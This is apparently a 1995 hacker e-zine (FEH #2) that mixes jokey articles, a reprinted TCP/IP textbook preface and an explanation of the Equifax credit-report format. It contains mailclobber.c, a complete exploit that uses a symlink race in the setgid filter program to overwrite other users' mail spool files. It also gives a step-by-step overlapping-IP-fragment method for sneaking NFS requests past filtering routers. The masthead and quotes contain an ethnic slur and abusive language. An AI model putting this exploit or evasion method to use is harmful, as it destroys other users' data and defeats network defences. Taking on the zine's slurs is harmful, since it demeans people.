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/IIIIIIIIII /IIIIIIIII /III /III \ III_____/ \ III____/ \ III \ III \ III \ III \ III \_III \ IIIIIIII \ IIIIIIIII \ IIIIIIIIII \ III___/ \ III____/ \ III__/ III \ III \ III \ III \ III \ III ___ \ IIIIIIIII ___ \ III \ III ___ \__/ /\__\ \/________/ /\__\ \/__/ \/__/ /\__\ \/__/ \/__/ \/__/ RIENDLY LITE ACKERS Issue #2 September 24th, 1995 Editor: ReDragon Official FEH Con Organizer: Okinawa Official FEH Warez Supplier: Olphart Official FEH Distribution: Dark Tangent Official FEH Texan: Loq Official FEH Retro Gaming Editor: Hotrod Official FEH Cheese Supplier: NickO Official FEH Ethics Editor: X Official FEH Logs Supplier: Tele Monster Official FEH Messages Editor: negro Official FEH Stolen Handle Acronymn: TK - Tobias Knight Official FEH Mail Bomber: Unabomber Official FEH Skillz Supplier: Oof Official FEH Former Vox Employee: Wozz Official FEH 'Cusan: Cforbin Official FEH Spic: B Official FEH Caver: Junkman Official FEH Sport: Football Official FEH Alcoholic Drink: Goldschlager Official FEH Beer: Rogue's Dead Guy Ale Official FEH E-Mail Address: feh@pussy.org Official FEH Operating System: FreeBSD Official FEH microkernel OS: QNX Official FEH language: Ada Official FEH magazine to rip-off: B0W Official FEH group to rip-off: l0ck Official FEH Vehicle: 1967 Cadillac El Dorado Convertible Official FEH of Song: Midnight Star Greetz To Da Eleetz: albatross, armitage, artimage, bl0ke, bluesman, b0b, clovis, crax, deker, discodan, drunkfux, earle, etrigan, fuz, gfm, gheap, ghornet, Hod, hosaka, juliet, kc, kewp, krosis, lgas, malice, meowmix, morph, negro, novocain, opii, sevenup, shoo, swinder, tek, tele/phone, tewph, tobias knight, tsoul, twi, x0x, Y. Another One? For a while, it seemed that the first issue might also be the last; there was a wide range of opinion from the first ranging from "it sucked" to "this was the best you could come up with?". For a while we were thinking of putting out a totally serious issue, but that just didn't seem like too much fun; so then we pretty much let FEH die. But, due to a couple of events that happened recently, there was a renewed interest in putting out a second FEH. And so, here it is. This is not intended to make you laugh and think and teach you anything; it is here to entertain you, and if it does any of the three, it has succeeded. Keep an open mind, and a smile on your face. And so, without further adieu, I present to you, FEH #2. -ReDragon <----------------------------------------------------------------------------> Table of Contents: General Stuff Intro Table of Contents /var/spool/mail/feh Technical Articles: Fast TCP/IP Introduction by ReDragon IP Fragmenting by Anon Mail Clobber by gheap Acrofile Plus by Morph Hacker Light Show by Tele Monster Entertaining Articles: Hackers Review by Juliet Eleetness of Garage Sales by x0x Installing Sendmail by foo Pumpcon IV Info by Okinawa Pizza Hut Hacking by HoD Weird Al Logs by john0 Why Someone is lame by SnoCrash Hacking a Light Switch by Dhate Eleetness of AOL hackers by Minuteman How to Be Eleet by b0b How to Destroy Pac-Man by Hotrod Urination, A Poem by y Serious Commentary: Trust Among Hackers by ReDragon GUI mentality by Krosis & ReDragon The Evil GUI by Krosis The Unabomber Manifesto by FC <----------------------------------------------------------------------------> An Extremely Fast Introduction to TCP/IP by ReDragon Originally, I was planning on providing a big article explaining the inner workings of the TCP/IP protocols. To that end, I thought about where all of my knowledge concerning this largely arises from. Given that, if I was to explain everything I KNOW about TCP/IP, it would still largely be a subset of the original reference from which I learned about it, and thus it would be a waste of time for me to provide you a brief summary on the topic when you, a hacker, are interested in the long and exciting details. It is for that reason that instead of providing you with an incomplete treatment of the topic, I will instead point you to the resource from which I MOST HIGHLY recommend you purchase or borrow from your local college library, and from which my TCP/IP knowledge originated. You should be able to find it in a major book store, but any book store will order it for you if you ask. The preface to the book follows the vital info. TCP/IP Illustrated Volume 1: The Protocols by W. Richard Stevens ISBN: 0-201-63346-9 Copyright (c) 1994 by Addison-Wesley Publishing Company, All rights reserved. TCP/IP Illustrated Preface ___________________________________________________________ Introduction This book describes the TCP/IP protocol suite, but from a different perspective than other texts on TCP/IP. Instead of just describing the protocols and what they do, we'll use a popular diagnostic tool to watch the protocols in action. Seeing how the proto- cols operate in varying circumstances provides a greater understanding of how they work and why certain design decisions were made. It also provides a look into the implementation of the protocols, without hav- ing to wade through thousands of lines of source code. When networking protocols were being developed in the 1960s through the 1980s, expensive, dedicated hardware was required to see the packets going "across the wire." Extreme familiarity with the protocols was also required to comprehend the packets displayed by the hardware. Functionality of the hardware analyzers was limited to that built in by the hardware design- ers. Today this has changed dramatically with the ability of the ubiquitous workstation to monitor a local area network [Mogul 1990]. Just attach a workstation to your network, run some publicly available software (described in Appendix A), and watch what goes by on the wire. While many people consider this a tool to be used for diagnosing network problems, it is also a powerful tool for understanding how the network proto- cols operate, which is the goal of this book. This book is intended for anyone wishing to under- stand how the TCP/IP protocols operate: programmers writing network applications, system administrators responsible for maintaining computer systems and net- works utilizing TCP/IP, and users who deal with TCP/IP applications on a daily basis. Organization of the Book The following figure shows the various protocols and applications that are covered. The italic number by each box indicates the chapter in which that protocol or application is described. (Numerous fine points are missing from this figure that will be discussed in the appropriate chapter. For example, both the DNS and RPC use TCP, which we don't show.) We take a bottom-up approach to the TCP/IP protocol suite. After providing a basic introduction to TCP/IP in Chapter 1, we will start at the link layer in Chap- ter 2 and work our way up the protocol stack. This provides the required background for later chapters for readers who aren't familiar with TCP/IP or net- working in general. This book also uses a functional approach instead of following a strict bottom-to-top order. For example, Chapter 3 describes the IP layer and the IP header. But there are numerous fields in the IP header that are best described in the context of an application that uses or is affected by a particular field. Frag- mentation, for example, is best understood in terms of UDP (Chapter 11), the protocol often affected by it. The time-to-live field is fully described when we look at the Traceroute program in Chapter 8, because this field is the basis for the operation of the program. Similarly, many features of ICMP are described in the later chapters, in terms of how a particular ICMP mes- sage is used by a protocol or an application. We also don't want to save all the good stuff until the end, so we describe TCP/IP applications as soon as we have the foundation to understand them. Ping and Traceroute are described after IP and ICMP have been discussed. The applications built on UDP (multicast- ing, the DNS, TFTP, and BOOTP) are described after UDP has been examined. The TCP applications, however, along with network management, must be saved until the end, after we've thoroughly described TCP. This text focuses on how these applications use the TCP/IP pro- tocols. We do not provide all the details on running these applications. Readers This book is self-contained and assumes no specific knowledge of networking or TCP/IP. Numerous refer- ences are provided for readers interested in addi- tional details on specific topics. This book can be used in many ways. It can be used as a self-study reference and covered from start to finish by someone interested in all the details on the TCP/IP protocol suite. Readers with some TCP/IP back- ground might want to skip ahead and start with Chap- ter 7, and then focus on the specific chapters in which they're interested. Exercises are provided at the end of the chapters, and most solutions are in Appendix D. This is to maximize the usefulness of the text as a self-study reference. When used as part of a one- or two-semester course in computer networking, the focus should be on IP (Chapters 3 and 9), UDP (Chapter 11), and TCP (Chap- ters 17-24), along with some of the application chap- ters. Many forward and backward references are provided throughout the text, along with a thorough index, to allow individual chapters to be studied by themselves. A list of all the acronyms used throughout the text, along with the compound term for the acronym, appears on the inside back covers. If you have access to a network you are encouraged to obtain the software used in this book (Appendix F) and experiment on your own. Hands-on experimentation with the protocols will provide the greatest knowledge (and make it more fun). Systems Used for Testing Every example in the book was run on an actual network and the resulting output saved in a file for inclusion in the text. Figure 1.11 (p. 18) shows a diagram of the different hosts, routers, and networks that are used. (This figure is also duplicated on the inside front cover for easy reference while reading the book.) This collection of networks is simple enough that the topology doesn't confuse the examples, and with four systems acting as routers, we can see the error messages generated by routers. Most of the systems have a name that indicates the type of software being used: bsdi, svr4, sun, solaris, aix, slip, and so on. In this way we can identify the type of software that we're dealing with by looking at the system name in the printed output. A wide range of different operating systems and TCP/IP implementations are used: + BSD/386 Version 1.0 from Berkeley Software Design, Inc., on the hosts named bsdi and slip. This sys- tem is derived from the BSD Networking Software, Release 2.0. (We show the lineage of the various BSD releases in Figure 1.10 on p. 17.) + Unix System V/386 Release 4.0 Version 2.0 from U.H. Corporation, on the host named svr4. This is vanilla SVR4 and contains the standard implementa- tion of TCP/IP from Lachman Associates used with most versions of SVR4. + SunOS 4.1.3 from Sun Microsystems, on the host named sun. The SunOS 4.1.x systems are probably the most widely used TCP/IP implementations. The TCP/IP code is derived from 4.2BSD and 4.3BSD. + Solaris 2.2 from Sun Microsystems, on the host named solaris. The Solaris 2.x systems have a different implementation of TCP/IP from the ear- lier SunOS 4.1.x systems, and from SVR4. (This operating system is really SunOS 5.2, but is com- monly called Solaris 2.2.) + AIX 3.2.2 from IBM on the host named aix. The TCP/IP implementation is based on the 4.3BSD Reno release. + 4.4BSD from the Computer Systems Research Group at the University of California at Berkeley, on the host vangogh.cs.berkeley.edu. This system has the latest release of TCP/IP from Berkeley. (This system isn't shown in the figure on the inside front cover, but is reachable across the Inter- net.) Although these are all Unix systems, TCP/IP is operat- ing system independent, and is available on almost every popular non-Unix system. Most of this text also applies to these non-Unix implementations, although some programs (such as Traceroute) may not be provided on all systems. This book is the result of my being asked lots of questions on TCP/IP for which I could find no quick, immediate answer. It was then that I realized that the easiest way to obtain the answers was to run small tests, forcing certain conditions to occur, and just watch what happens. I thank Pete Haverlock for asking the probing questions and Van Jacobson for providing so much of the publicly available software that is used in this book to answer the questions. Tucson, Arizona W. Richard Stevens October 1993 rstevens@noao.edu <----------------------------------------------------------------------------> IP Fragmentation and the Security Risks therein By someone who doesn't want to lose his nice job Recently, there was some furor on the firewalls mailing list regarding possible security holes because of IP fragmentation. Of course, many people had asked about the possibility of such holes in the past, but in true Internet fashion, were met with replies of "No dummy, it works how it is supposed to." These are the same security experts that would have told you 8 years ago that passwords were not a necessity. I'll get my jab in by saying that I have thought this a problem since I first learned what IP was. CERT came out with an advisory and Cisco provided upgrades. Of course, in true CERT fashion, they let the cat out of the bag before letting other vendors get their versions patched. (Note that this is sarcasm and in fact, I would be surprised if CERT releases the SM 8.6.12 holes before next Christmas). The result of all this was much confusion among the firewall community, most of whom are still wondering how to "pRoTeCKT MeYE CaR FrUM Nf0-HiGHWeigH BanDiTZ". To understand this, the reader should know a little bit about IP. In short, IP is a way of sending information between computers on the Internet primarily. It splits data into packets, each of which has a header which tells the intermediate routers where to send it. Firewalls depend on this fact by allowing or blocking packets based on different fields in the header. Here's a diagram of an IP packet: 0_______3_______7_______11_______15_______19_______23_______27_______31 |version| length| Type Of Service | Total length (with data) | |---------------------------------|-----------------------------------| | packet ID |flags| Fragment Offset | |---------------------------------|-----------------------------------| | TTL | Protocol | Checksum of Header | |---------------------------------|-----------------------------------| | Source IP address | |---------------------------------------------------------------------| | Destination IP address | |_____________________________________________________________________| Most of these headers are of no consequence to routers. They just look at the destination IP address and apply it to their routing table and forward the packet to the next router. Filtering routers are different. They look at more fields in the header and allow or deny packets based on a set of rules. For instance, a site that wished to keep anyone from accessing its NFS server (smart idea!) would set their router as such: Deny packets from <anywhere> to <anywhere> on UDP port 2049 Programs use "ports" to distinguish what service should receive data. Port 2049 is for the Network File Server protocol. It uses UDP on top of IP. Other connections can be made using TCP on top of IP. Whichever the case, the router looks at a packet and if it has 2049 as the destination port, drops it. If not, it forwards the packet to its destination. Interfaces (Ethernet, SLIP, etc) can only transmit packets of a certain size. For ethernet, it's 1500 bytes. This is called the MTU (Maximum Transmit Unit). Packets larger than this are fragmented. This means that they are split into multiple, smaller size packets. The sending system breaks the data into smaller packets and then sends them to the destination host, which puts them back together in the order specified. The packets are sent like this: _________________________ ____________________ | IP hdr | UDP hdr | data | <-- | IP hdr | more data | ------------------------- -------------------- The destination host receives the packets, and noting that the fragmentation offset (see IP header above) is set, reassembles the packets. It uses the offset field in the IP header to put the packets together in the original order. For example, if you were sending a 1600 byte packet over an interface with an MTU of 1500, the following packets would be sent Packet 1: 20 byte IP header, 8 byte UDP header, 1472 bytes of data (frag set) Packet 2: 20 byte IP header, 128 bytes of data, frag offset of 1472 This causes the data in packet 2 to be appended to packet 1 at the destination host. Now comes the interesting part. Since reassembly only takes place at the destination host, how can we skirt a filtering router? The routers do know reassembly of fragmented packets, so let's think of a sequence of packets to take advantage of this. For our target network, let's say we have an FTP server behind the router. The router filters out all packets except those to FTP command (21) and FTP data (20). It is running NFS though. That makes it easy. What we'll do is send a packet to the ftp data port, but redirect it to NFS. Packet 1: Src- US Dst-target TCP port 20 (frags) Packet 2: Src- US Dst-target -frags- This is the trick: specify a fragmentation offset of 1 in the second packet. Suddenly, the data in packet 2 is being written over the TCP header of packet 1. So, what should the data of packet 2 be? How about a UDP header with a port of 2049? The data can be any valid NFS request, including unlink(). Note that you can only change the TCP or UDP header, not the IP header, since fragmentation is a function of IP. If this isn't clear enough, here's a step by step breakdown. 1. We send a set of packets to target that have the fragmentation field set. 2. The router only sees the TCP header in the first packet and passes it since it's to a valid port (20) 3. The target host reassembles the packets, but since we specified a value for the frag offset less than the end of the first packet, that packet is overwritten with our new header. 4. IP delivers the valid UDP packet on up the stacks 5. NFS gets the UDP packet and does whatever the operation. The best way to solve this problem is to have the reassembly algorithm only allow offsets greater than or equal to the end of the previous packet. I am pretty sure the interim measure provided by Cisco just reassembles fragments at the router and checks the ports. This is bad in that the RFC's say that reassembly should only be done at the destination host. Hopefully other router manufacturers will develop patches soon. <----------------------------------------------------------------------------> mailclobber.c by gheap Mailclobber takes advantage of filter(1L), which is setgid mail. It does no checking to see what kind of file it is opening up when it fopen()'s a temp file. This allows a crafty user to overwrite other users mail spool files, due to users having their spool files writable by the mail group. There is also a problem with the logging mechanism not caring where it writes to. This allows you to create a file that you can write to in /var/spool/mail. Please note that this problem has only been noticed on CERTAIN Linux systems where there are group write permissions on /var/spool/mail. gheap <gheap@newhackcity.net> Written 08/25/95 Released 09/01/95 2621 "One Drink please!" #include <stdio.h> #include <unistd.h> #define FILTERRULE "if (to contains \"IHaQ4SeX@eyespy.nsa.gov\") then save \"wewin\"\n" #define MAILHEADER1 "From IHaQ4SeX@eyespy.nsa.gov Wed Aug 25 66:66:66 1965\n" #define MAILHEADER2 "Return-Path: IHaQ4SeX\n" #define MAILHEADER3 "Recieved: \(from IHaQ4SeX@eyespy.nsa.gov) by d0xmaster.BoW.net \(8.6.13/8.6.12) id X0D31337 for asshole; Wed, 25 Aug 1965 66:66:66 -0400\n" #define MAILHEADER4 "Date: Wed, 25 Aug 1965 66:66:66 -0400\n" #define MAILHEADER5 "From: IHaQ4SeX@eyespy.nsa.gov\n" #define MAILHEADER6 "Message-Id: <199508250666.X0D31337@eyespy.nsa.gov>\n" #define FILTERFIND "To: IHaQ4SeX@eyespy.nsa.gov\n" #define MAILHEADER7 "Subject: Bye Bye spool file chump.\n\n" #define EXECSTRING "cat /tmp/header | filter -f filter.r00l" void show_usage(char *progname) { fprintf(stderr,"%s /file/to/clobber /file/to/clobber/with\n",progname); exit(0); } void main(int argc, char *argv[]) { int x,t,c; char filter_temp_file[75]; FILE *fp,*fp2; if ((argc != 3)) { show_usage(argv[0]); } if ((access(argv[1],F_OK))!=0) { fprintf(stderr,"%s: You idiot, %s doesn't exist.\n I can't clobber what isn't there.\n",argv[0],argv[1]); fprintf(stderr,"SPECIAL NOTE: To create a file owned by you in /var/spool/mail,\n simply type the following command:\n \"cat /any/file/you/can/read|filter -vo /var/spool/mail/filterisdumb\"\n"); exit(0); } if ((access(argv[2],F_OK))!=0) { fprintf(stderr,"%s: You idiot, %s doesn't exist.\n What do you expect me to do, speak for you?\nI oughta clobber you\n",argv[0],argv[2]); exit(0); } x=getpid(); if ((fp=(fopen("/tmp/filter.r00l","wt")))==NULL) { fprintf(stderr,"%s: cant write to /tmp/filter.r00l\n",argv[0]); exit(0); } fprintf(fp,FILTERRULE); fclose(fp); if ((fp=(fopen("/tmp/header","wt")))==NULL) { fprintf(stderr,"%s: cant write to /tmp/header\n",argv[0]); exit(0); } fprintf(fp,MAILHEADER1); fprintf(fp,MAILHEADER2); fprintf(fp,MAILHEADER3); fprintf(fp,MAILHEADER4); fprintf(fp,MAILHEADER5); fprintf(fp,MAILHEADER6); fprintf(fp,FILTERFIND); fprintf(fp,MAILHEADER7); fclose(fp); if ((fp=(fopen(argv[2],"rt")))==NULL) { fprintf(stderr,"%s: cant read %s, what gives?",argv[0],argv[2]); exit(0); } if ((fp2=(fopen("/tmp/header","at")))==NULL) { fprintf(stderr,"%s: cant write to /tmp/header\n",argv[0]); exit(0); } while ((t=getc(fp))!=EOF) { fputc(t,fp2); } fprintf(fp2,"\r\n"); fclose(fp); fclose(fp2); sprintf(filter_temp_file,"/tmp/filter.%d",x+3); if (symlink(argv[1],filter_temp_file)!=0) fprintf(stderr,"%s: Couldnt make the link, man...\n",argv[0]); system(EXECSTRING); unlink("/tmp/header"); unlink(filter_temp_file); unlink("wewin"); unlink("filter.r00l"); fprintf(stdout,"This program did not clean up %s, delete it yourself, wanker.\n",argv[2]); } <----------------------------------------------------------------------------> || || || || || || fUNKY sTREET rEMIX v1.5 \\\\\\\\// tHA dIRTY vERSION wH00T!%@! || || ==||=||==========================| NoCo |==============================||=||== || || Morph of CAFBL Presents 0 0 Acrofile Plus From Equifax || || ==||=||===========================\ /===============================||=||== || || Pleeze courie this ware - (O O) - Pleeze courie me goddamnit. || || || || ~~~~\ || || || | (C) Morpheus and Equifax All Rights Reserved? wh00t! | || || || | Moo. Moo. Moo. (Moo.) | Presenting Another Hands_Phree(r) Text File!@$# Registered FEH Version! Way K0ol! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <dc> it's so cool i think i'll just put a 0 in there so it's k0ol. wh00t#@! Morph commin back at ya wiff 0-day kardin' k0d3z#!@ wh00t#@! Dis mo'fo krad text bout how to d00dle a decent ansi wiff thedraw registerd 6 wuz brought tew you by morph (d4t's m3#@$!) and FEH wh00t$!@ ============================================================================== Wh0rd H3r3 4r3 D4h M3g3l33t Gr33tz n StuFf L1k3 D4t h0m13z$@#! wh00t#@$!^# ============================================================================== Dark Phiber - Thanks phor starting CAFBL cause like we need MORE skary rollerbladers. Kaos - wh00t noc0. Arkane - Ur new handle sucks more den the corn in kaos's mom's shit. Amity - You are far beyond leet. Optic - Dood eye need to know where you buy Ur Crack because eye will shop there from now on. Spiff - G0OD LUCK AT COLLGe. Mogel - Ur textphiles suck or whatever%&#*%#!^!@ Crank - don't forget it girlie. CAFBL Chickz - Crisco Twister at Spookie's house Tonite$@^#! Emmanuel - Elastica rewlz$#! SeE U At ColLege. Various #zines People - Fuq^$#!@$@ Various dto writers - k0d3$@! --> 1-800-925-9999 ##529!$@^% Buy some PHREE_MUMIA(C) T-Shirts today! ============================================================================== ===================Stupid Muthafuckin Quotes And Shit Like Dat================ ============================================================================== " dood don't hack checkpoint.wood.com it's just a bunch of firewalls. " - Eagle_1 August 1995 <U4EA> gweeds, no u have yet to show anything but an ability to talk bullshit <gweeds> it's in hexadecimal j00hed. <gweeds> d00d man u r still nuphn but a leadpaint guzzlin retard d00dle boy. <U4EA> gWeeDz kant even read phrack <corp> u dont gnow whut it feelz lyke to getcher head smooshed in by a krikkit bat u43a <U4EA> c0rp, but u know what it feels like to have a dick up ur ass and in ur m0uth.. <gweeds> FUQ. if only i'd da cash ta move up ta Sn0w-J00 land n let da arctic lameness take effect. - l0ck vs. u4ea August 1995 " Hi mother fucker, how'd you like the demo? lamer!!!! " - GRYM issue 1 " Should I have included plans to build a bomb out of a taco? " - HoE issue 87 " I'd also Like to add that I'm Dumb. " - Erik B. August 1995 "...so i'm living at this payphone at least for now." - Amity August 95 ============================================================================== ==================End Of Anything Vaguely Interesting========================= ============================================================================== ==Turn Tha Lights Down and Kick Ur Little Brother Out! Here Comes the Codes!== ============================================================================== ====================== Acrofile Plus Overview ====================== Like d00d it's Wh4t d3y s3nd y3w Wh3n y3w PuLl a Kr3d1t R3p0rt FrUm EqU1f4x 0r Cb1 0r Wh4t3v3r#@! y0r M4m4$#@!^%@$#(*&@! FuQ Y0u L4m3r G33k4z01d#^$!*&%$#@! d00D 3y3 W1ll Br3aK Ur F1nG3rZ Y0U P0tTy R4nG3r*%^#^#!@%&!$ WhY Y0u. . . P0tTy R4nG3r P0TtY R4NG3r P0tT-T34 R4NnNg3r&!%&#!$ GrRRRrrRRRRrrr. . . 0k4y 0K4y c4lM d0wN. ============================== Acrofile Plus Fax Explained ============================== Basically what an acrofile plus is a credit report. Just like you could get from anywhere else. This format is used with equifax and cbi, which is an affiliate of equifax, and so on. Getting an acrofile is a whole different story, and is not for you mere mortals to know. bahhahaha. wh00t@#!^%!$@@#(*^!@ Basically the below document is a copy of what is distributed to equifax employees and employees of affiliated agencys to help them better understand the acrofile format. If you personally want a copy of this document sent to your house (Y34h b0Y!#@) please fell free to write to: Equifax Credit Information Services 5505 Peachtree Dunwoody RD STE 600 Atlanta GA 30302 Or you can even call 1-800-685-1111 and request a copy sent to you asap and remember to tell them that you deserve access to all general information as a citizen of the United States and as a Human Being. With that in mind, let's move on to figure 2. (fig 2.) ============================================================================== Figure Two (fig 2.) A Look At An Acrofile Plus Report ============================================================================== ============================================================================== * 001 Equifax Credit Information Services - P O BOX 740241 5505 Peachtree Dunwoody Rd STE 600 Atlanta GA 30374-0241 404/612-2565 * CONSUMER,JOHN,Q,JR,JANE SINCE 03/10/73 FAD 04/22/93 FN-232 9412,PEACHTREE,ST,ATLANTA,GA,30302,TAPE RPTD 07/87 410,ORANGE GROVE,DR,SAN JOSE,CA,95119,CRT PRTD 06/85 46,KENNEDY,DR,DETROIT,MI,DAT RPDT 01/80 ****ALSO KNOWN AS CONSUMER, ROBERT**** BDS-03/03/49,SSS-900-00-0000 01 ES-ENGINEER,LOCKHEED,ATLANTA,GA,EMP 06/87,VER 03/92 02 EF-ENGINEER,CENTRAL POWER,SAN JOSE,CA,,,,LEFT 05/87 03 E2-ENGINEER,GENERAL MOTORS,DETROIT,MI,,,,LEFT 05/85 *SUM-04/73-04/93,PR/OI-YES,COLL-YES,FB-NO,ACCTS:10,HC$450-87595, 6-ONES,1-TWO 1-THREE, 1-FIVE, 1-OTHER, HIST DEL- 1-TWO, 2-THREES, 1-FOUR. INQUIRY ALERT - SUBJECT SHOWS 4 INQUIRIES SINCE 01/93 ******* PUBLIC RECORDS OR OTHER INFORMATION ******** 04 07/87 BKRPT 111VF116, 453657,LIAB$25600,ASSET$10500, EXEMPT$100, INDIVID, PERSONAL,VOL CH-7 05 05/89 ST JD,111VC51, $500,DEF-SUBJECT,88776,VISA,VER 06/89 SATISFIED, 06/89 **************************************************** ****** COLLECTION ITEMS ****** LIST RPTD AMT/BAL DLA/ECOA AGENCY/CLIENT STATUS/SERIAL 04/92 11/92 $532 11/92 111YC363 ACB COL PAYMENT $300 I DR JONES 202012 ****************************** FIRM / IDENT CODE CS RPTD LIMIT HICR BAL $ DLA MR (30-60-90+)M/D ECOA / ACCT NUMBER OPND P/DUE TERM 24 MONTH HISTORY ----------------------------------------------------------------------- ATL FIN VS*111FS26 R5 04/93 3000 --- 2632 12/92 61 (01-01-01) I/ 4453 03/88 700 140 432*******/****** ACCOUNT CLOSED BY CREDIT GRANTOR PROV BK MD*111ON192 R1 04/93 500 --- 440 04/93 34 J/86934 02/84 --- 25 WATCH IL *11BB771 R1 04/93 5000 --- 4500 I/432704567 07/88 --- 100 LORD & TAY*111DC151 R3 03/93 --- 478 356 01/93 42 (04-02-00) J/175 09/89 50 25 2***232*****/****** RICH'S *111DC24 R1 02/93 615 --- 0 01/93 10/73 25 --- REVOLVING TOTALS 9500 1093 8238 750 300 ---------------------------------------------------------------------------- AMEXTRVLSV*111ON259 01 04/93 --- 450 123 04/93 27 J/ 01/91 --- 123 OPEN TOTALS --- 450 123 --- 123 ---------------------------------------------------------------------------- HFC *11FP439 I1 03/92 --- 4200 123 04/93 27 C/12566843 01/91 --- 18M PAINE/WEBB*111FM1117 I2 02/93 --- 8753 37543 12/92 67 (01-00-00) I/7785632 07/87 750 HOMO LOAN INSTALLMENT TOTALS ---- 9175 38278 750 750 ---------------------------------------------------------------------------- GRAND TOTALS 9500 93358 46658 1500 1173 ---------------------------------------------------------------------------- WACH IL 111BB771 08/92 --- --- --- 08/89 4567 07/88 LOST OR STOLEN WAREZ *INQS-BURDINES 111DC304 04/22/93 HECHT CO 111DC2872 03/15/93 FREIDMAN'S 111JA105 02/12/93 BARNETTBNK 111FM6875 01/31/93 BEN COLL 111FF947 12/14/92 FK 111YC00058 12/14/92 & END OF REPORT EQUIFAX AND AFFILIATES - 04/22/93 SAFESCANNED ============================================================================== ============================================================================== Figure Three (fig 4.) How to Courie the Warez or What does it all Mean?!@#? ============================================================================== * 001 Equifax Credit Information Services - P O BOX 740241 5505 Peachtree Dunwoody Rd STE 600 Atlanta GA 30374-0241 404/612-2565 - Consumer Referral Message: This is IN FACT the address and phone number of the reporting bureau. It is provided to assist you and the consumer in the event of adverse action. * CONSUMER,JOHN,Q,JR,JANE SINCE 03/10/73 FAD 04/22/93 FN-232 9412,PEACHTREE,ST,ATLANTA,GA,30302,TAPE RPTD 07/87 410,ORANGE GROVE,DR,SAN JOSE,CA,95119,CRT PRTD 06/85 46,KENNEDY,DR,DETROIT,MI,DAT RPDT 01/80 ****ALSO KNOWN AS CONSUMER, ROBERT**** BDS-03/03/49,SSS-900-00-0000 - Identification: Subject and Spouse name, current address, origin and date added to the file, former addresses, also know as, sex, marital status, age, number of dependents, dob, ss subject SINCE 03/10/73 FAD 04/22/93 FN-232 - File Activity: since = date last file was established, fad = last activity on file, fn = file number (for equifax internal use) 01 ES-ENGINEER,LOCKHEED,ATLANTA,GA,EMP 06/87,VER 03/92 02 EF-ENGINEER,CENTRAL POWER,SAN JOSE,CA,,,,LEFT 05/87 03 E2-ENGINEER,GENERAL MOTORS,DETROIT,MI,,,,LEFT 05/85 - Employment: ES-(employment subject) position, firm, location, date hired, date verified, monthly salary EF-(employment former) position, firm, loc, date left E2-(employment former second) *SUM-04/73-04/93,PR/OI-YES,COLL-YES,FB-NO,ACCTS:10,HC$450-87595, 6-ONES,1-TWO 1-THREE, 1-FIVE, 1-OTHER, HIST DEL- 1-TWO, 2-THREES, 1-FOUR. - Summary of File Items: 04/73 = oldest opening date of trade 04/93 = newest reporting date of trade PR/OI = does file have public records (yes) COLL = does file have collection items (yes) FB = does file contain info from credit rep companies not affiliated with equifax (no) ACCTS = how many tradelines HC = high credit (range $460-87,595) 6-ONES = five trades in file CS 1 1-TWO = one trade in file CS 2 1-THREE = one trade in file CS 3 1-FIVE = one trade in file CS 5 1-OTHER = one trade with no CS HIST DEL = historical deliquency which shows the number of tradelines with the highest deliquency ratings in either max/del or 24 mos history. INQUIRY ALERT - SUBJECT SHOWS 4 INQUIRIES SINCE 01/93 - Inquiry Alert: alert appears if subject shows three or more inquiries in the past 90 days. ******* PUBLIC RECORDS OR OTHER INFORMATION ******** 04 07/87 BKRPT 111VF116, 453657,LIAB$25600,ASSET$10500, EXEMPT$100, INDIVID, PERSONAL,VOL CH-7 05 05/89 ST JD,111VC51, $500,DEF-SUBJECT,88776,VISA,VER 06/89 SATISFIED, 06/89 **************************************************** - Public Records Or Other Information: BKRPT (Bankruptcy) date filed, court number, case number, liabilities, assets, exempt amount, filer, type, intent STJD (Satisfied Judgement) date filed, court number, amount, defendant, case number, plantiff, date verified, status, date satisfied ****** COLLECTION ITEMS ****** LIST RPTD AMT/BAL DLA/ECOA AGENCY/CLIENT STATUS/SERIAL 04/92 11/92 $532 11/92 111YC363 ACB COL PAYMENT $300 I DR JONES 202012 - Collection Items: LIST - date assigned to collection agency RPTD - date reported AMT - total amount of collection BAL - balance as of date recorded ECOA - equal credit opprotunity act designator DLA - date of last activity AGENCY - collection agency member number CLIENT - customer the agency represents STATUS - last activity reported SERIAL - account serial number FIRM / IDENT CODE CS RPTD LIMIT HICR BAL $ DLA MR (30-60-90+)M/D - Trade: First Line: Firm / Ident Code-Name and number of reporting company *-trade information for automated tape suppliers Type Of Account R = revolving acct O = open acct I = installment acct CS-Current Status Of Account 0 - Too New to Rate; Approval But Not Used 1 - As Agreed; Not More Than 1 Payment Past Due 2 - Pays 31-60 Days; Not More Than 2 Payments Past Due 3 - Pays 61-90 Days; Not More Than 3 Payments Past Due 4 - Pays 91-120 Days; Not More Than 4 Payments Past Due 5 - Pays Over 120 Days; 5 or more Payments Past Due 7 - Making Regular Payments Under Paid Under Wage Earner or Similar Arrangement 8 - Repossessed Shit 9 - Charged Off to Yo Mama's Bad Credit RPTD - date account was reported LIMIT - credit limit HICR - high credit BAL$ - balance owned as of reporting date DLA - date of last activity on account MR - months reviewed MAX/DEL - most recent highest delinquency beyond the 24th month ECOA / ACCT NUMBER OPND P/DUE TERM 24 MONTH HISTORY - Second Line: ECOA K0D3Z U - Undesignated I - Individual A - Authorized User J - Joint C - Co-Maker B - On Behalf Of M - Maker T - Association with Account Terminated S - Shared Warez Account Number: OPND - Date Account was Opened With Reporting Company P/D - Past Due Amount TERM - Monthly Payment Amount 24 Month History: Rate history 24 months prior to current status, slash (/) seperates two 12 mos periods. (r34d Fr0m L3ft t0 r1t3 0nl33!) * = no delinquency this month - Note: Accounts are grouped by revolving, open, and installment. Whithin those groups, trades are sorted by the most recent date reported. Totals are calculated for limit, High Credit, balance, past due, and terms within each group. - Grand Totals: Grand Total for Limit, High Credit, Balance, and Past Due WACH IL 111BB771 08/92 --- --- --- 08/89 4567 07/88 - Other: accounts not reflecting rating type (revolving, open, installments) *INQS-BURDINES 111DC304 04/22/93 HECHT CO 111DC2872 03/15/93 FREIDMAN'S 111JA105 02/12/93 BARNETTBNK 111FM6875 01/31/93 BEN COLL 111FF947 12/14/92 FK 111YC00058 12/14/92 - Inquiries: Member name, number, and date inquired. Two year history as shown above. END OF REPORT EQUIFAX AND AFFILIATES - 04/22/93 SAFESCANNED - Safescanned: This file was accessed by a customer using the equifax save as acrofile option. Plus date file was accessed. ============================================================================== Figure Eight (fig 8.) Conclusion and Bonus Warez [bUszt4 m0v3 P01nD3xt3r!] ============================================================================== ============================================================================== ... 4wWw Y34h s0m3 l33tsp34k g03z 0uT t0 m4h h0m13z 4nD 4wWwWw y34h!#@ 4sCiI PiGg13s@$#! ______ 6/ 